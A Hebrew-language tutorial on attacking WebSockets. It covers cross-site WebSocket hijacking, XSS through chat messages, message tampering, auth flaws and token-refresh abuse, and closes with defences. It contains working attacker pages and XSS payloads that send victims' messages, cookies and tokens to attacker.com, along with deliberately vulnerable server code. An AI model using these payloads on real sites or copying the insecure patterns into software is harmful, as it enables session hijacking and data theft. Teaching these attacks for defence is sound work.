לדלג לתוכן

תקיפת WebSockets - WebSocket Attacks

סקירת פרוטוקול WebSocket

WebSocket מספק ערוץ תקשורת דו-כיווני (full-duplex) מתמשך בין דפדפן לשרת. בניגוד ל-HTTP שעובד במודל בקשה-תגובה, WebSocket מאפשר לשני הצדדים לשלוח הודעות בכל זמן.

תהליך Handshake

החיבור מתחיל בבקשת HTTP upgrade:

GET /chat HTTP/1.1
Host: example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://example.com
Cookie: session=abc123

תגובת השרת:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

לאחר ה-handshake, החיבור עובר ל-WebSocket protocol ושני הצדדים יכולים לשלוח frames.

שימוש בסיסי ב-JavaScript

// יצירת חיבור
let ws = new WebSocket('wss://example.com/chat');

// אירועים
ws.onopen = function() {
  console.log('Connected');
  ws.send(JSON.stringify({ type: 'join', room: 'general' }));
};

ws.onmessage = function(event) {
  let data = JSON.parse(event.data);
  console.log('Received:', data);
};

ws.onerror = function(error) {
  console.error('WebSocket error:', error);
};

ws.onclose = function(event) {
  console.log('Disconnected:', event.code, event.reason);
};

חטיפת WebSocket בין אתרים - CSWSH

Cross-Site WebSocket Hijacking (CSWSH) מנצל את העובדה ש-WebSocket handshake מבוצע כבקשת HTTP, ועוגיות נשלחות אוטומטית. אם השרת לא בודק את כותרת Origin, תוקף יכול ליצור חיבור WebSocket מדף שלו באמצעות ה-session של הקורבן.

שרת WebSocket פגיע

const WebSocket = require('ws');
const http = require('http');

const server = http.createServer();
const wss = new WebSocket.Server({ server });

wss.on('connection', function(ws, req) {
  // פגיע! אין בדיקת Origin
  let cookies = parseCookies(req.headers.cookie);
  let session = getSession(cookies.session);

  if (!session) {
    ws.close();
    return;
  }

  ws.user = session.user;

  ws.on('message', function(message) {
    let data = JSON.parse(message);

    switch (data.type) {
      case 'getMessages':
        let messages = db.getMessages(ws.user.id);
        ws.send(JSON.stringify({ type: 'messages', data: messages }));
        break;

      case 'sendMessage':
        db.saveMessage(ws.user.id, data.content);
        broadcast(data.content, ws.user.name);
        break;

      case 'getProfile':
        let profile = db.getProfile(ws.user.id);
        ws.send(JSON.stringify({ type: 'profile', data: profile }));
        break;
    }
  });
});

server.listen(8080);

דף תוקף ל-CSWSH

<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
  <h1>Loading your prize...</h1>
  <script>
    // חיבור לשרת הקורבן - העוגיות של הקורבן נשלחות אוטומטית
    let ws = new WebSocket('wss://vulnerable.com/chat');

    ws.onopen = function() {
      console.log('[+] Connected with victim session');

      // גניבת הודעות
      ws.send(JSON.stringify({ type: 'getMessages' }));

      // גניבת פרופיל
      ws.send(JSON.stringify({ type: 'getProfile' }));
    };

    ws.onmessage = function(event) {
      let data = JSON.parse(event.data);
      console.log('[+] Stolen data:', data);

      // שליחה לשרת התוקף
      fetch('https://attacker.com/collect', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: event.data
      });
    };
  </script>
</body>
</html>

הזרקה ומניפולציה של הודעות WebSocket

הזרקת הודעות - XSS דרך WebSocket

כאשר הודעות WebSocket מוצגות בדף ללא sanitization:

// קוד לקוח פגיע
ws.onmessage = function(event) {
  let data = JSON.parse(event.data);

  if (data.type === 'chat') {
    let messageDiv = document.createElement('div');
    messageDiv.innerHTML = data.message; // XSS!
    document.getElementById('chat').appendChild(messageDiv);
  }
};

הזרקת XSS דרך הודעת צ'אט:

ws.send(JSON.stringify({
  type: 'sendMessage',
  content: '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'
}));

מניפולציה של הודעות עם Burp Suite

ניתן ליירט ולשנות הודעות WebSocket דרך Burp:

1. פתחו Burp Suite
2. עברו ל-Proxy -> WebSockets history
3. לחצו על הודעה -> Send to Repeater
4. שנו את תוכן ההודעה
5. שלחו

דוגמה לשינוי הודעה:

// הודעה מקורית
{"type": "transfer", "amount": 100, "to": "user123"}

// הודעה ששונתה
{"type": "transfer", "amount": 100000, "to": "attacker456"}

בעיות אימות ב-WebSockets

אימות מבוסס עוגיות בלבד

// שרת פגיע - אימות רק ב-handshake
wss.on('connection', function(ws, req) {
  let session = getSessionFromCookie(req.headers.cookie);
  ws.user = session.user;

  // אין אימות נוסף על הודעות!
  ws.on('message', function(message) {
    let data = JSON.parse(message);
    // מבצע פעולות בשם ws.user ללא אימות נוסף
    handleAction(ws.user, data);
  });
});

חוסר בהרשאות ברמת הודעה

// שרת פגיע - אין בדיקת הרשאות
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'adminAction') {
    // אין בדיקה אם המשתמש הוא admin!
    performAdminAction(data);
  }

  if (data.type === 'deleteUser') {
    // אין בדיקה אם יש הרשאה למחוק
    db.deleteUser(data.userId);
  }
});

אימות מבוסס טוקן

// שרת משופר - אימות עם טוקן
wss.on('connection', function(ws, req) {
  let authenticated = false;

  ws.on('message', function(message) {
    let data = JSON.parse(message);

    if (data.type === 'auth') {
      let user = verifyToken(data.token);
      if (user) {
        authenticated = true;
        ws.user = user;
        ws.send(JSON.stringify({ type: 'auth_success' }));
      } else {
        ws.close(4001, 'Invalid token');
      }
      return;
    }

    if (!authenticated) {
      ws.close(4001, 'Not authenticated');
      return;
    }

    // טיפול בהודעות רק למשתמשים מאומתים
    handleMessage(ws.user, data);
  });
});

הבעיה - הטוקן נשלח בהודעה ראשונה ואז נשמר ב-memory. אם תוקף מחליף session:

// תוקף שולח טוקן גנוב
ws.onopen = function() {
  ws.send(JSON.stringify({
    type: 'auth',
    token: stolenToken
  }));
};

דליפת מידע דרך WebSocket

הודעות עם מידע רגיש

// שרת ששולח יותר מידע מהנדרש
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'getUser') {
    let user = db.getUser(data.userId);
    // שולח את כל האובייקט כולל מידע רגיש!
    ws.send(JSON.stringify({
      type: 'user',
      data: user // כולל password hash, email, phone, etc.
    }));
  }
});

ניטור WebSocket traffic

// סקריפט ניטור שרץ ב-console
(function() {
  let originalSend = WebSocket.prototype.send;
  WebSocket.prototype.send = function(data) {
    console.log('[WS SEND]', data);
    return originalSend.call(this, data);
  };

  let originalOnMessage = Object.getOwnPropertyDescriptor(
    WebSocket.prototype, 'onmessage'
  );

  Object.defineProperty(WebSocket.prototype, 'onmessage', {
    set: function(handler) {
      let wrappedHandler = function(event) {
        console.log('[WS RECV]', event.data);
        return handler.call(this, event);
      };
      originalOnMessage.set.call(this, wrappedHandler);
    }
  });
})();

XSS מבוסס WebSocket

הזרקת סקריפט דרך WebSocket

// שרת צ'אט פגיע
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'chat') {
    // משדר את ההודעה לכל המחוברים
    wss.clients.forEach(function(client) {
      if (client.readyState === WebSocket.OPEN) {
        client.send(JSON.stringify({
          type: 'chat',
          user: ws.user.name,
          message: data.message // אין sanitization!
        }));
      }
    });
  }
});

// לקוח פגיע
ws.onmessage = function(event) {
  let data = JSON.parse(event.data);
  if (data.type === 'chat') {
    let chatBox = document.getElementById('chat');
    chatBox.innerHTML += `<b>${data.user}:</b> ${data.message}<br>`; // XSS!
  }
};

שליחת הודעת XSS:

ws.send(JSON.stringify({
  type: 'chat',
  message: '<img src=x onerror="new Image().src=\'https://attacker.com/steal?\'+document.cookie">'
}));

ניצול חיבור מחדש וריענון טוקנים

race condition בהתחברות מחדש

// לקוח שמתחבר מחדש אוטומטית
function connect() {
  let ws = new WebSocket('wss://example.com/chat');

  ws.onclose = function() {
    // מתחבר מחדש אחרי 3 שניות
    setTimeout(connect, 3000);
  };

  ws.onopen = function() {
    // שולח טוקן אימות
    ws.send(JSON.stringify({
      type: 'auth',
      token: localStorage.getItem('authToken')
    }));
  };
}

אם התוקף מצליח לשנות את localStorage.authToken (דרך XSS, prototype pollution, וכו'), ההתחברות מחדש תשתמש בטוקן של התוקף.

ניצול token refresh

// שרת שמרענן טוקנים דרך WebSocket
ws.on('message', function(message) {
  let data = JSON.parse(message);

  if (data.type === 'refreshToken') {
    let newToken = generateToken(ws.user);
    ws.send(JSON.stringify({
      type: 'newToken',
      token: newToken
    }));
  }
});

תוקף עם CSWSH יכול לבקש טוקן חדש עבור הקורבן:

// דף תוקף
let ws = new WebSocket('wss://vulnerable.com/chat');
ws.onopen = function() {
  ws.send(JSON.stringify({ type: 'refreshToken' }));
};
ws.onmessage = function(event) {
  let data = JSON.parse(event.data);
  if (data.type === 'newToken') {
    // גניבת הטוקן החדש
    fetch('https://attacker.com/steal?token=' + data.token);
  }
};

שרת WebSocket פגיע - קוד מלא

const WebSocket = require('ws');
const http = require('http');
const express = require('express');

const app = express();
const server = http.createServer(app);
const wss = new WebSocket.Server({ server });

// אין בדיקת Origin!
wss.on('connection', function(ws, req) {
  let cookies = parseCookies(req.headers.cookie || '');
  let session = sessions[cookies.session];

  if (!session) {
    ws.close(4001, 'Unauthorized');
    return;
  }

  ws.user = session.user;
  ws.isAlive = true;

  ws.on('message', function(message) {
    try {
      let data = JSON.parse(message);

      switch (data.action) {
        case 'chat':
          // פגיע - XSS
          broadcast({
            action: 'chat',
            user: ws.user.name,
            message: data.message // אין sanitization
          });
          break;

        case 'getHistory':
          // פגיע - אין בדיקת הרשאות לחדר
          let history = db.getChatHistory(data.room);
          ws.send(JSON.stringify({ action: 'history', data: history }));
          break;

        case 'privateMessage':
          // פגיע - אין ולידציה
          let target = findUser(data.targetUser);
          if (target) {
            target.send(JSON.stringify({
              action: 'privateMessage',
              from: ws.user.name,
              message: data.message
            }));
          }
          break;

        case 'updateProfile':
          // פגיע - mass assignment
          Object.assign(ws.user, data.profile);
          db.updateUser(ws.user);
          break;
      }
    } catch (e) {
      ws.send(JSON.stringify({ error: e.message })); // פגיע - חושף שגיאות
    }
  });
});

function broadcast(data) {
  let msg = JSON.stringify(data);
  wss.clients.forEach(client => {
    if (client.readyState === WebSocket.OPEN) {
      client.send(msg);
    }
  });
}

server.listen(8080);

הגנה

ולידציית Origin ב-handshake

const ALLOWED_ORIGINS = ['https://app.example.com', 'https://admin.example.com'];

wss.on('connection', function(ws, req) {
  let origin = req.headers.origin;
  if (!ALLOWED_ORIGINS.includes(origin)) {
    ws.close(4003, 'Origin not allowed');
    return;
  }
  // ...
});

אימות חיבורי WebSocket

wss.on('connection', function(ws, req) {
  // אימות עם טוקן ב-URL (עובר ב-TLS)
  let url = new URL(req.url, 'wss://example.com');
  let token = url.searchParams.get('token');

  let user = verifyJWT(token);
  if (!user) {
    ws.close(4001, 'Invalid token');
    return;
  }

  ws.user = user;
});

ולידציית פורמט הודעות

const Joi = require('joi');

const messageSchema = Joi.object({
  action: Joi.string().valid('chat', 'getHistory', 'privateMessage').required(),
  message: Joi.string().max(1000).optional(),
  room: Joi.string().alphanum().max(50).optional(),
  targetUser: Joi.string().alphanum().max(50).optional()
});

ws.on('message', function(message) {
  try {
    let data = JSON.parse(message);
    let { error, value } = messageSchema.validate(data);

    if (error) {
      ws.send(JSON.stringify({ error: 'Invalid message format' }));
      return;
    }

    handleValidMessage(ws, value);
  } catch (e) {
    ws.send(JSON.stringify({ error: 'Invalid JSON' }));
  }
});

סיכום

תקיפות WebSocket מנצלות את העובדה שהפרוטוקול לא מספק הגנות מובנות כמו CSRF tokens או SOP. חטיפת WebSocket בין אתרים (CSWSH) היא התקיפה הנפוצה ביותר, וניתן למנוע אותה על ידי ולידציית Origin. בנוסף, יש להקפיד על sanitization של הודעות, אימות ברמת הודעה (לא רק ב-handshake), ובקרת הרשאות לכל פעולה.